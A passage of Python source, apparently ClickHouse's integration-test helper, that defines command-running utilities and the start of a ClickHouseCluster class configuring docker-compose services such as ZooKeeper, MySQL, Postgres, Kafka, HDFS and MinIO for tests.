CLICKHOUSE_ROOT_DIR = p.join(p.dirname(__file__), "../../..") LOCAL_DOCKER_COMPOSE_DIR = p.join(CLICKHOUSE_ROOT_DIR, "docker/test/integration/runner/compose/") DEFAULT_ENV_NAME = '.env' SANITIZER_SIGN = "==================" # to create docker-compose env file def _create_env_file(path, variables): logging.debug(f"Env {variables} stored in {path}") with open(path, 'w') as f: for var, value in list(variables.items()): f.write("=".join([var, value]) + "\n") return path def run_and_check(args, env=None, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=300, nothrow=False, detach=False): if detach: subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=env, shell=shell) return logging.debug(f"Command:{args}") res = subprocess.run(args, stdout=stdout, stderr=stderr, env=env, shell=shell, timeout=timeout) out = res.stdout.decode('utf-8') err = res.stderr.decode('utf-8') # check_call(...) from subprocess does not print stderr, so we do it manually for outline in out.splitlines(): logging.debug(f"Stdout:{outline}") for errline in err.splitlines(): logging.debug(f"Stderr:{errline}") if res.returncode != 0: logging.debug(f"Exitcode:{res.returncode}") if env: logging.debug(f"Env:{env}") if not nothrow: raise Exception(f"Command {args} return non-zero code {res.returncode}: {res.stderr.decode("utf-8")}") return out # Based on https://stackoverflow.com/questions/2838244/get-open-tcp-port-in-python/2838309#2838309 def get_free_port(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("",0)) s.listen(1) port = s.getsockname()[1] s.close() return port def retry_exception(num, delay, func, exception=Exception, *args, **kwargs): """ Retry if `func()` throws, `num` times. :param func: func to run :param num: number of retries :throws StopIteration """ i = 0 while i <= num: try: func(*args, **kwargs) time.sleep(delay) except exception: # pylint: disable=broad-except i += 1 continue return raise StopIteration('Function did not finished successfully') def subprocess_check_call(args, detach=False, nothrow=False): # Uncomment for debugging #logging.info('run:' + ' '.join(args)) return run_and_check(args, detach=detach, nothrow=nothrow) def get_odbc_bridge_path(): path = os.environ.get('CLICKHOUSE_TESTS_ODBC_BRIDGE_BIN_PATH') if path is None: server_path = os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH') if server_path is not None: return os.path.join(os.path.dirname(server_path), 'clickhouse-odbc-bridge') else: return '/usr/bin/clickhouse-odbc-bridge' return path def get_library_bridge_path(): path = os.environ.get('CLICKHOUSE_TESTS_LIBRARY_BRIDGE_BIN_PATH') if path is None: server_path = os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH') if server_path is not None: return os.path.join(os.path.dirname(server_path), 'clickhouse-library-bridge') else: return '/usr/bin/clickhouse-library-bridge' return path def get_docker_compose_path(): compose_path = os.environ.get('DOCKER_COMPOSE_DIR') if compose_path is not None: return os.path.dirname(compose_path) else: if os.path.exists(os.path.dirname('/compose/')): return os.path.dirname('/compose/') # default in docker runner container else: logging.debug(f"Fallback docker_compose_path to LOCAL_DOCKER_COMPOSE_DIR: {LOCAL_DOCKER_COMPOSE_DIR}") return LOCAL_DOCKER_COMPOSE_DIR def check_kafka_is_available(kafka_id, kafka_port): p = subprocess.Popen(('docker', 'exec', '-i', kafka_id, '/usr/bin/kafka-broker-api-versions', '--bootstrap-server', f'INSIDE://localhost:{kafka_port}'), stdout=subprocess.PIPE, stderr=subprocess.PIPE) p.communicate() return p.returncode == 0 def check_rabbitmq_is_available(rabbitmq_id): p = subprocess.Popen(('docker', 'exec', '-i', rabbitmq_id, 'rabbitmqctl', 'await_startup'), stdout=subprocess.PIPE) p.communicate() return p.returncode == 0 def enable_consistent_hash_plugin(rabbitmq_id): p = subprocess.Popen(('docker', 'exec', '-i', rabbitmq_id, "rabbitmq-plugins", "enable", "rabbitmq_consistent_hash_exchange"), stdout=subprocess.PIPE) p.communicate() return p.returncode == 0 def get_instances_dir(): if 'INTEGRATION_TESTS_RUN_ID' in os.environ and os.environ['INTEGRATION_TESTS_RUN_ID']: return '_instances_' + shlex.quote(os.environ['INTEGRATION_TESTS_RUN_ID']) else: return '_instances' class ClickHouseCluster: """ClickHouse cluster with several instances and (possibly) ZooKeeper. Add instances with several calls to add_instance(), then start them with the start() call. Directories for instances are created in the directory of base_path. After cluster is started, these directories will contain logs, database files, docker-compose config, ClickHouse configs etc. """ def __init__(self, base_path, name=None, base_config_dir=None, server_bin_path=None, client_bin_path=None, odbc_bridge_bin_path=None, library_bridge_bin_path=None, zookeeper_config_path=None, custom_dockerd_host=None, zookeeper_keyfile=None, zookeeper_certfile=None): for param in list(os.environ.keys()): logging.debug("ENV %40s %s" % (param, os.environ[param])) self.base_path = base_path self.base_dir = p.dirname(base_path) self.name = name if name is not None else '' self.base_config_dir = base_config_dir or os.environ.get('CLICKHOUSE_TESTS_BASE_CONFIG_DIR', '/etc/clickhouse-server/') self.server_bin_path = p.realpath( server_bin_path or os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH', '/usr/bin/clickhouse')) self.odbc_bridge_bin_path = p.realpath(odbc_bridge_bin_path or get_odbc_bridge_path()) self.library_bridge_bin_path = p.realpath(library_bridge_bin_path or get_library_bridge_path()) self.client_bin_path = p.realpath( client_bin_path or os.environ.get('CLICKHOUSE_TESTS_CLIENT_BIN_PATH', '/usr/bin/clickhouse-client')) self.zookeeper_config_path = p.join(self.base_dir, zookeeper_config_path) if zookeeper_config_path else p.join( HELPERS_DIR, 'zookeeper_config.xml') project_name = pwd.getpwuid(os.getuid()).pw_name + p.basename(self.base_dir) + self.name # docker-compose removes everything non-alphanumeric from project names so we do it too. self.project_name = re.sub(r'[^a-z0-9]', '', project_name.lower()) instances_dir_name = '_instances' if self.name: instances_dir_name += '_' + self.name if 'INTEGRATION_TESTS_RUN_ID' in os.environ and os.environ['INTEGRATION_TESTS_RUN_ID']: instances_dir_name += '_' + shlex.quote(os.environ['INTEGRATION_TESTS_RUN_ID']) self.instances_dir = p.join(self.base_dir, instances_dir_name) self.docker_logs_path = p.join(self.instances_dir, 'docker.log') self.env_file = p.join(self.instances_dir, DEFAULT_ENV_NAME) self.env_variables = {} self.env_variables["TSAN_OPTIONS"] = "second_deadlock_stack=1" self.env_variables["CLICKHOUSE_WATCHDOG_ENABLE"] = "0" self.up_called = False custom_dockerd_host = custom_dockerd_host or os.environ.get('CLICKHOUSE_TESTS_DOCKERD_HOST') self.docker_api_version = os.environ.get("DOCKER_API_VERSION") self.docker_base_tag = os.environ.get("DOCKER_BASE_TAG", "latest") self.base_cmd = ['docker-compose'] if custom_dockerd_host: self.base_cmd += ['--host', custom_dockerd_host] self.base_cmd += ['--env-file', self.env_file] self.base_cmd += ['--project-name', self.project_name] self.base_zookeeper_cmd = None self.base_mysql_cmd = [] self.base_kafka_cmd = [] self.base_kerberized_kafka_cmd = [] self.base_rabbitmq_cmd = [] self.base_cassandra_cmd = [] self.base_jdbc_bridge_cmd = [] self.base_redis_cmd = [] self.pre_zookeeper_commands = [] self.instances = {} self.with_zookeeper = False self.with_zookeeper_secure = False self.with_mysql_client = False self.with_mysql = False self.with_mysql8 = False self.with_mysql_cluster = False self.with_postgres = False self.with_postgres_cluster = False self.with_kafka = False self.with_kerberized_kafka = False self.with_rabbitmq = False self.with_odbc_drivers = False self.with_hdfs = False self.with_kerberized_hdfs = False self.with_mongo = False self.with_mongo_secure = False self.with_net_trics = False self.with_redis = False self.with_cassandra = False self.with_jdbc_bridge = False self.with_nginx = False self.with_minio = False self.minio_dir = os.path.join(self.instances_dir, "minio") self.minio_certs_dir = None # source for certificates self.minio_host = "minio1" self.minio_ip = None self.minio_bucket = "root" self.minio_bucket_2 = "root2" self.minio_port = 9001 self.minio_client = None # type: Minio self.minio_redirect_host = "proxy1" self.minio_redirect_ip = None self.minio_redirect_port = 8080 self.with_azurite = False # available when with_hdfs == True self.hdfs_host = "hdfs1" self.hdfs_ip = None self.hdfs_name_port = 50070 self.hdfs_data_port = 50075 self.hdfs_dir = p.abspath(p.join(self.instances_dir, "hdfs")) self.hdfs_logs_dir = os.path.join(self.hdfs_dir, "logs") self.hdfs_api = None # also for kerberized hdfs # available when with_kerberized_hdfs == True self.hdfs_kerberized_host = "kerberizedhdfs1" self.hdfs_kerberized_ip = None self.hdfs_kerberized_name_port = 50070 self.hdfs_kerberized_data_port = 1006 self.hdfs_kerberized_dir = p.abspath(p.join(self.instances_dir, "kerberized_hdfs")) self.hdfs_kerberized_logs_dir = os.path.join(self.hdfs_kerberized_dir, "logs") # available when with_kafka == True self.kafka_host = "kafka1" self.kafka_port = get_free_port() self.kafka_docker_id = None self.schema_registry_host = "schema-registry" self.schema_registry_port = get_free_port() self.kafka_docker_id = self.get_instance_docker_id(self.kafka_host) # available when with_kerberozed_kafka == True self.kerberized_kafka_host = "kerberized_kafka1" self.kerberized_kafka_port = get_free_port() self.kerberized_kafka_docker_id = self.get_instance_docker_id(self.kerberized_kafka_host) # available when with_mongo == True self.mongo_host = "mongo1" self.mongo_port = get_free_port() # available when with_cassandra == True self.cassandra_host = "cassandra1" self.cassandra_port = 9042 self.cassandra_ip = None self.cassandra_id = self.get_instance_docker_id(self.cassandra_host) # available when with_rabbitmq == True self.rabbitmq_host = "rabbitmq1" self.rabbitmq_ip = None self.rabbitmq_port = 5672 self.rabbitmq_dir = p.abspath(p.join(self.instances_dir, "rabbitmq")) self.rabbitmq_logs_dir = os.path.join(self.rabbitmq_dir, "logs") # available when with_nginx == True self.nginx_host = "nginx" self.nginx_ip = None self.nginx_port = 80 self.nginx_id = self.get_instance_docker_id(self.nginx_host) # available when with_redis == True self.redis_host = "redis1" self.redis_port = get_free_port() # available when with_postgres == True self.postgres_host = "postgres1" self.postgres_ip = None self.postgres_conn = None self.postgres2_host = "postgres2" self.postgres2_ip = None self.postgres2_conn = None self.postgres3_host = "postgres3" self.postgres3_ip = None self.postgres3_conn = None self.postgres4_host = "postgres4" self.postgres4_ip = None self.postgres4_conn = None self.postgres_port = 5432 self.postgres_dir = p.abspath(p.join(self.instances_dir, "postgres")) self.postgres_logs_dir = os.path.join(self.postgres_dir, "postgres1") self.postgres2_logs_dir = os.path.join(self.postgres_dir, "postgres2") self.postgres3_logs_dir = os.path.join(self.postgres_dir, "postgres3") self.postgres4_logs_dir = os.path.join(self.postgres_dir, "postgres4") # available when with_mysql_client == True self.mysql_client_host = "mysql_client" self.mysql_client_container = None # available when with_mysql == True self.mysql_host = "mysql57" self.mysql_port = 3306 self.mysql_ip = None self.mysql_dir = p.abspath(p.join(self.instances_dir, "mysql")) self.mysql_logs_dir = os.path.join(self.mysql_dir, "logs") # available when with_mysql_cluster == True self.mysql2_host = "mysql2" self.mysql3_host = "mysql3" self.mysql4_host = "mysql4" self.mysql2_ip = None self.mysql3_ip = None self.mysql4_ip = None self.mysql_cluster_dir = p.abspath(p.join(self.instances_dir, "mysql")) self.mysql_cluster_logs_dir = os.path.join(self.mysql_dir, "logs") # available when with_mysql8 == True self.mysql8_host = "mysql80" self.mysql8_port = 3306 self.mysql8_ip = None self.mysql8_dir = p.abspath(p.join(self.instances_dir, "mysql8")) self.mysql8_logs_dir = os.path.join(self.mysql8_dir, "logs") # available when with_zookeper_secure == True self.zookeeper_secure_port = 2281 self.zookeeper_keyfile = zookeeper_keyfile self.zookeeper_certfile = zookeeper_certfile # available when with_zookeper == True self.use_keeper = True self.zookeeper_port = 2181 self.keeper_instance_dir_prefix = p.join(p.abspath(self.instances_dir), "keeper") # if use_keeper = True self.zookeeper_instance_dir_prefix = p.join(self.instances_dir, "zk") self.zookeeper_dirs_to_create = [] # available when with_jdbc_bridge == True self.jdbc_bridge_host = "bridge1" self.jdbc_bridge_ip = None self.jdbc_bridge_port = 9019 self.jdbc_driver_dir = p.abspath(p.join(self.instances_dir, "jdbc_driver")) self.jdbc_driver_logs_dir = os.path.join(self.jdbc_driver_dir, "logs") self.docker_client = None self.is_up = False self.env = os.environ.copy() logging.debug(f"CLUSTER INIT base_config_dir:{self.base_config_dir}") def cleanup(self): if os.environ and 'DISABLE_CLEANUP' in os.environ and os.environ['DISABLE_CLEANUP'] == "1": logging.warning("Cleanup is disabled") return # Just in case kill unstopped containers from previous launch try: unstopped_containers = self.get_running_containers() if unstopped_containers: logging.debug(f"Trying to kill unstopped containers: {unstopped_containers}") for id in unstopped_containers: run_and_check(f'docker kill {id}', shell=True, nothrow=True) run_and_check(f'docker rm {id}', shell=True, nothrow=True) unstopped_containers = self.get_running_containers() if unstopped_containers: logging.debug(f"Left unstopped containers: {unstopped_containers}") else: logging.debug(f"Unstopped containers killed.") else: logging.debug(f"No running containers for project: {self.project_name}") except: pass # # Just in case remove unused networks # try: # logging.debug("Trying to prune unused networks...") # run_and_check(['docker', 'network', 'prune', '-f']) # logging.debug("Networks pruned") # except: # pass # Remove unused images # try: # logging.debug("Trying to prune unused images...") # run_and_check(['docker', 'image', 'prune', '-f']) # logging.debug("Images pruned") # except: # pass # Remove unused volumes try: logging.debug("Trying to prune unused volumes...") result = run_and_check(['docker volume ls | wc -l'], shell=True) if int(result>0): run_and_check(['docker', 'volume', 'prune', '-f']) logging.debug(f"Volumes pruned: {result}") except: pass def get_docker_handle(self, docker_id): exception = None for i in range(5): try: return self.docker_client.containers.get(docker_id) except Exception as ex: print("Got exception getting docker handle", str(ex)) time.sleep(i * 2) exception = ex raise exception def get_client_cmd(self): cmd = self.client_bin_path if p.basename(cmd) == 'clickhouse': cmd += " client" return cmd # Returns the list of currently running docker containers corresponding to this ClickHouseCluster. def get_running_containers(self): # docker-compose names containers using the following formula: # container_name = project_name + '_' + instance_name + '_1' # We need to have "^/" and "$" in the "--filter name" option below to filter by exact name of the container, see # https://stackoverflow.com/questions/48767760/how-to-make-docker-container-ls-f-name-filter-by-exact-name filter_name = f'^/{self.project_name}_.*_1$' # We want the command "docker container list" to show only containers' ID and their names, separated by colon. format = '{{.ID}}:{{.Names}}' containers = run_and_check(f"docker container list --all --filter name='{filter_name}' --format '{format}'", shell=True) containers = dict(line.split(':', 1) for line in containers.decode('utf8').splitlines()) return containers def copy_file_from_container_to_container(self, src_node, src_path, dst_node, dst_path): fname = os.path.basename(src_path) run_and_check([f"docker cp {src_node.docker_id}:{src_path} {self.instances_dir}"], shell=True) run_and_check([f"docker cp {self.instances_dir}/{fname} {dst_node.docker_id}:{dst_path}"], shell=True) def setup_zookeeper_secure_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup ZooKeeper Secure') zookeeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_zookeeper_secure.yml') env_variables['ZOO_SECURE_CLIENT_PORT'] = str(self.zookeeper_secure_port) env_variables['ZK_FS'] = 'bind' for i in range(1, 4): zk_data_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "data") zk_log_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "log") env_variables['ZK_DATA' + str(i)] = zk_data_path env_variables['ZK_DATA_LOG' + str(i)] = zk_log_path self.zookeeper_dirs_to_create += [zk_data_path, zk_log_path] logging.debug(f"DEBUG ZK: {self.zookeeper_dirs_to_create}") self.with_zookeeper_secure = True self.base_cmd.extend(['--file', zookeeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', zookeeper_docker_compose_path] return self.base_zookeeper_cmd def setup_zookeeper_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup ZooKeeper') zookeeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_zookeeper.yml') env_variables['ZK_FS'] = 'bind' for i in range(1, 4): zk_data_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "data") zk_log_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "log") env_variables['ZK_DATA' + str(i)] = zk_data_path env_variables['ZK_DATA_LOG' + str(i)] = zk_log_path self.zookeeper_dirs_to_create += [zk_data_path, zk_log_path] logging.debug(f"DEBUG ZK: {self.zookeeper_dirs_to_create}") self.with_zookeeper = True self.base_cmd.extend(['--file', zookeeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', zookeeper_docker_compose_path] return self.base_zookeeper_cmd def setup_keeper_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup Keeper') keeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_keeper.yml') binary_path = self.server_bin_path if binary_path.endswith('-server'): binary_path = binary_path[:-len('-server')] env_variables['keeper_binary'] = binary_path env_variables['image'] = "clickhouse/integration-test:" + self.docker_base_tag env_variables['user'] = str(os.getuid()) env_variables['keeper_fs'] = 'bind' for i in range(1, 4): keeper_instance_dir = self.keeper_instance_dir_prefix + f"{i}" logs_dir = os.path.join(keeper_instance_dir, "log") configs_dir = os.path.join(keeper_instance_dir, "config") coordination_dir = os.path.join(keeper_instance_dir, "coordination") env_variables[f'keeper_logs_dir{i}'] = logs_dir env_variables[f'keeper_config_dir{i}'] = configs_dir env_variables[f'keeper_db_dir{i}'] = coordination_dir self.zookeeper_dirs_to_create += [logs_dir, configs_dir, coordination_dir] logging.debug(f"DEBUG KEEPER: {self.zookeeper_dirs_to_create}") self.with_zookeeper = True self.base_cmd.extend(['--file', keeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', keeper_docker_compose_path] return self.base_zookeeper_cmd def setup_mysql_client_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql_client = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_client.yml')]) self.base_mysql_client_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_client.yml')] return self.base_mysql_client_cmd def setup_mysql_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql = True env_variables['MYSQL_HOST'] = self.mysql_host env_variables['MYSQL_PORT'] = str(self.mysql_port) env_variables['MYSQL_ROOT_HOST'] = '%' env_variables['MYSQL_LOGS'] = self.mysql_logs_dir env_variables['MYSQL_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql.yml')]) self.base_mysql_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql.yml')] return self.base_mysql_cmd def setup_mysql8_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql8 = True env_variables['MYSQL8_HOST'] = self.mysql8_host env_variables['MYSQL8_PORT'] = str(self.mysql8_port) env_variables['MYSQL8_ROOT_HOST'] = '%' env_variables['MYSQL8_LOGS'] = self.mysql8_logs_dir env_variables['MYSQL8_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_8_0.yml')]) self.base_mysql8_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_8_0.yml')] return self.base_mysql8_cmd def setup_mysql_cluster_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql_cluster = True env_variables['MYSQL_CLUSTER_PORT'] = str(self.mysql_port) env_variables['MYSQL_CLUSTER_ROOT_HOST'] = '%' env_variables['MYSQL_CLUSTER_LOGS'] = self.mysql_cluster_logs_dir env_variables['MYSQL_CLUSTER_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_cluster.yml')]) self.base_mysql_cluster_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_cluster.yml')] return self.base_mysql_cluster_cmd def setup_postgres_cmd(self, instance, env_variables, docker_compose_yml_dir): self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres.yml')]) env_variables['POSTGRES_PORT'] = str(self.postgres_port) env_variables['POSTGRES_DIR'] = self.postgres_logs_dir env_variables['POSTGRES_LOGS_FS'] = "bind" self.with_postgres = True self.base_postgres_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres.yml')] return self.base_postgres_cmd def setup_postgres_cluster_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_postgres_cluster = True env_variables['POSTGRES_PORT'] = str(self.postgres_port) env_variables['POSTGRES2_DIR'] = self.postgres2_logs_dir env_variables['POSTGRES3_DIR'] = self.postgres3_logs_dir env_variables['POSTGRES4_DIR'] = self.postgres4_logs_dir env_variables['POSTGRES_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres_cluster.yml')]) self.base_postgres_cluster_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres_cluster.yml')] def setup_hdfs_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_hdfs = True env_variables['HDFS_HOST'] = self.hdfs_host env_variables['HDFS_NAME_PORT'] = str(self.hdfs_name_port) env_variables['HDFS_DATA_PORT'] = str(self.hdfs_data_port) env_variables['HDFS_LOGS'] = self.hdfs_logs_dir env_variables['HDFS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_hdfs.yml')]) self.base_hdfs_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_hdfs.yml')] logging.debug("HDFS BASE CMD:{self.base_hdfs_cmd)}") return self.base_hdfs_cmd def setup_kerberized_hdfs_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kerberized_hdfs = True env_variables['KERBERIZED_HDFS_HOST'] = self.hdfs_kerberized_host env_variables['KERBERIZED_HDFS_NAME_PORT'] = str(self.hdfs_kerberized_name_port) env_variables['KERBERIZED_HDFS_DATA_PORT'] = str(self.hdfs_kerberized_data_port) env_variables['KERBERIZED_HDFS_LOGS'] = self.hdfs_kerberized_logs_dir env_variables['KERBERIZED_HDFS_FS'] = "bind" env_variables['KERBERIZED_HDFS_DIR'] = instance.path + '/' self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_hdfs.yml')]) self.base_kerberized_hdfs_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_hdfs.yml')] return self.base_kerberized_hdfs_cmd def setup_kafka_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kafka = True env_variables['KAFKA_HOST'] = self.kafka_host env_variables['KAFKA_EXTERNAL_PORT'] = str(self.kafka_port) env_variables['SCHEMA_REGISTRY_EXTERNAL_PORT'] = str(self.schema_registry_port) env_variables['SCHEMA_REGISTRY_INTERNAL_PORT'] = "8081" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kafka.yml')]) self.base_kafka_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kafka.yml')] return self.base_kafka_cmd def setup_kerberized_kafka_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kerberized_kafka = True env_variables['KERBERIZED_KAFKA_DIR'] = instance.path + '/' env_variables['KERBERIZED_KAFKA_HOST'] = self.kerberized_kafka_host env_variables['KERBERIZED_KAFKA_EXTERNAL_PORT'] = str(self.kerberized_kafka_port) self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_kafka.yml')]) self.base_kerberized_kafka_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_kafka.yml')] return self.base_kerberized_kafka_cmd def setup_redis_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_redis = True env_variables['REDIS_HOST'] = self.redis_host env_variables['REDIS_EXTERNAL_PORT'] = str(self.redis_port) env_variables['REDIS_INTERNAL_PORT'] = "6379" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_redis.yml')]) self.base_redis_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_redis.yml')] return self.base_redis_cmd def setup_rabbitmq_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_rabbitmq = True env_variables['RABBITMQ_HOST'] = self.rabbitmq_host env_variables['RABBITMQ_PORT'] = str(self.rabbitmq_port) env_variables['RABBITMQ_LOGS'] = self.rabbitmq_logs_dir env_variables['RABBITMQ_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_rabbitmq.yml')]) self.base_rabbitmq_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_rabbitmq.yml')] return self.base_rabbitmq_cmd def setup_mongo_secure_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mongo = self.with_mongo_secure = True env_variables['MONGO_HOST'] = self.mongo_host env_variables['MONGO_EXTERNAL_PORT'] = str(self.mongo_port) env_variables['MONGO_INTERNAL_PORT'] = "27017" env_variables['MONGO_CONFIG_PATH'] = HELPERS_DIR self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo_secure.yml')]) self.base_mongo_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo_secure.yml')] return self.base_mongo_cmd def setup_mongo_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mongo = True env_variables['MONGO_HOST'] = self.mongo_host env_variables['MONGO_EXTERNAL_PORT'] = str(self.mongo_port) env_variables['MONGO_INTERNAL_PORT'] = "27017" env_variables['MONGO_EXTERNAL_PORT_2'] = "27018" env_variables['MONGO_INTERNAL_PORT_2'] = "27017" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo.yml')]) self.base_mongo_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo.yml')] return self.base_mongo_cmd def setup_minio_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_minio = True cert_d = p.join(self.minio_dir, "certs") env_variables['MINIO_CERTS_DIR'] = cert_d env_variables['MINIO_PORT'] = str(self.minio_port) env_variables['SSL_CERT_FILE'] = p.join(self.base_dir, cert_d, 'public.crt') self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_minio.yml')]) self.base_minio_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_minio.yml')] return self.base_minio_cmd def setup_azurite_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_azurite = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_azurite.yml')]) self.base_azurite_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_azurite.yml')] return self.base_azurite_cmd def setup_cassandra_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_cassandra = True env_variables['CASSANDRA_PORT'] = str(self.cassandra_port) self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_cassandra.yml')]) self.base_cassandra_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_cassandra.yml')] return self.base_cassandra_cmd def setup_jdbc_bridge_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_jdbc_bridge = True env_variables['JDBC_DRIVER_LOGS'] = self.jdbc_driver_logs_dir env_variables['JDBC_DRIVER_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_jdbc_bridge.yml')]) self.base_jdbc_bridge_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_jdbc_bridge.yml')] return self.base_jdbc_bridge_cmd def setup_nginx_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_nginx = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_nginx.yml')]) self.base_nginx_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_nginx.yml')] return self.base_nginx_cmd def add_instance(self, name, base_config_dir=None, main_configs=None, user_configs=None, dictionaries=None, macros=None, with_zookeeper=False, with_zookeeper_secure=False, with_mysql_client=False, with_mysql=False, with_mysql8=False, with_mysql_cluster=False, with_kafka=False, with_kerberized_kafka=False, with_rabbitmq=False, clickhouse_path_dir=None, with_odbc_drivers=False, with_postgres=False, with_postgres_cluster=False, with_hdfs=False, with_kerberized_hdfs=False, with_mongo=False, with_mongo_secure=False, with_nginx=False, with_redis=False, with_minio=False, with_azurite=False, with_cassandra=False, with_jdbc_bridge=False, hostname=None, env_variables=None, image="clickhouse/integration-test", tag=None, stay_alive=False, ipv4_address=None, ipv6_address=None, with_installed_binary=False, external_dirs=None, tmpfs=None, zookeeper_docker_compose_path=None, minio_certs_dir=None, use_keeper=True, main_config_name="config.xml", users_config_name="users.xml", copy_common_configs=True, config_root_name="clickhouse") -> 'ClickHouseInstance': """Add an instance to the cluster. name - the name of the instance directory and the value of the 'instance' macro in ClickHouse. base_config_dir - a directory with config.xml and users.xml files which will be copied to /etc/clickhouse-server/ directory main_configs - a list of config files that will be added to config.d/ directory user_configs - a list of config files that will be added to users.d/ directory with_zookeeper - if True, add ZooKeeper configuration to configs and ZooKeeper instances to the cluster. 